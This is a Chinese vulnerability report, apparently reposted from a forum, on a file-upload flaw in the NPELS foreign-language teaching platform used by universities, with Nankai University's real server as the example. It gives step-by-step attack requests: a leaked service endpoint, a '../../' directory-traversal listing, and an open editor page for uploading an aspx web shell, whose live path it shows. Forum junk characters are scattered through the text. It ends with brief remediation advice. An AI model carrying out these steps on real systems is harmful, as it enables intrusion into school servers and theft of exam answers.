新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中
  l) s, C6 _4 C5 S6 J
详细说明：
8 H$ K! |& Z: i6 }& D
以南开大学的为例:
( b: }/ |3 g) u) Mhttp://222.30.60.3/NPELS
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
: H% G. \. X4 R5 j1 M* F9 X5 C* S<setting name="Update_CommonSvr_CommonService" serializeAs="String">
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
</setting>
5 v; t$ M# _9 u及版本号
# I9 \, c! Y6 b<add key="TVersion" value="1, 0, 0, 2187">
( v' e3 L! ^* I1 q' b& F</add>
$ B; E/ E% L" |! m. I直接访问
  Z6 j" z* `' D7 v0 z9 J6 Dhttp://222.30.60.3/NPELS/CommonService.asmx
使用GetTestClientFileList操作，直接 HTTP GET 列目录：
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
: e9 W3 p% X, |进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../

/ u4 B0 ^4 n9 P/ f( S- M. X发现
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
上传后继续列目录找到木马地址直接访问即可

0 K' N) q6 x. X+ \! ^OOXX

Google "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
漏洞证明：

, [. ?5 l+ w1 H: h, S% n列目录：
+ |" p8 \- z& s/ Z+ O2 Ihttp://222.30.60.3/NPELS/CommonS ... List?version=../../
文件上传：
, r1 [1 v! l' Uhttp://222.30.60.3/npelsv/editor/editor.htm

上传木马：
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
  E8 [- M# }5 u: Y, t& s( w
修复方案：
好像考试系统必须使用 CommonService.asmx
, N" `. y) T0 o: n8 Y最好配置文件加密或者用别的方式不让它泄露出来
% ]  [- S, c( j( Z" Z并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​